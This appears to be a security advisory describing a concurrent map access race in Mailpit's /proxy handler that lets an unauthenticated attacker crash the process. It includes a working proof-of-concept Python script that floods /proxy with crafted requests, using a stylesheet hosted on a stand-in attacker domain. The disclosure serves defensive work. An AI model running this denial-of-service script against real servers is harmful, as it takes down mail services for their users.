Summary The screenshot/print proxy (/proxy?data=…) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go's runtime raises fatal error: concurrent map read and map write — a runtime.throw that is not recoverable by http.Server's handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it. Details A remote, unauthenticated attacker who can (1) reach /proxy and (2) plant any message with a stylesheet link in the inbox can crash Mailpit by issuing concurrent /proxy?data=… requests against the same message's CSS URL. Mailpit's defaults make both prerequisites trivial: the SMTP listener accepts mail anonymously, the HTTP listener accepts requests anonymously, and the cleanup goroutine fires every minute regardless of whether the map is being read. Affected code "server/handlers/proxy.go:198-229" (https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L198-L229) "server/handlers/proxy.go:52-66" (https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L52-L66) "server/handlers/proxy.go:244-313" (https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L244-L313) Go's map runtime sets a hashWriting flag at the start of any write op. Concurrent map reads check the flag and call throw("concurrent map read and map write") — throw is not caught by defer recover and is not caught by http.Server's handler-panic guard. The process exits with a stack trace. PoC 1. Deposit any message with a <link rel="stylesheet" href="https://attacker.example/big.css"> in the store (SMTP or /api/v1/send, both unauthenticated by default). 2. Make a few hundred concurrent requests to /proxy?data=base64(<id>:https://attacker.example/big.css) — the attacker's big.css should be ~50 MiB and contain thousands of url(...) entries so each request spends time iterating the rewriter loop and touching assets[id] repeatedly. Skeleton (set --allow-internal-http-requests only if you're testing locally — internal IPs are blocked by safeDialContext in production, which is correct): proxy-race.py import socket, threading, base64, sys ID = sys.argv[1] # 22-char shortuuid CSS = "https://attacker.example/big.css" TOKEN = base64.b64encode(f"{ID}:{CSS}".encode()).decode() req = ( f"GET /proxy?data={TOKEN} HTTP/1.1\r\n" f"Host: target:8025\r\n" f"Connection: close\r\n\r\n" ).encode() def hit(): try: s = socket.create_connection(("target", 8025), timeout=10) s.sendall(req) while s.recv(8192): pass s.close() except Exception: pass for _ in range(50): # 50 rounds ts = [threading.Thread(target=hit) for _ in range(300)] for t in ts: t.start() for t in ts: t.join() When the unlocked read at line 216 happens during a delete() from the cleanup goroutine, or during another goroutine's assets[id] = result write, Go's runtime emits: fatal error: concurrent map read and map write goroutine 123 [running]: runtime.throw(...) github.com/axllent/mailpit/server/handlers.ProxyHandler(...) server/handlers/proxy.go:216 ... …and the process exits. Building Mailpit with go build -race produces a deterministic WARNING: DATA RACE trace at the same line under the same workload, confirming the access pattern is racy even without timing-based crash demonstration. Impact Unauthenticated remote attacker can trigger a concurrent map access crash in /proxy, causing a fatal runtime panic and full Mailpit process termination (DoS).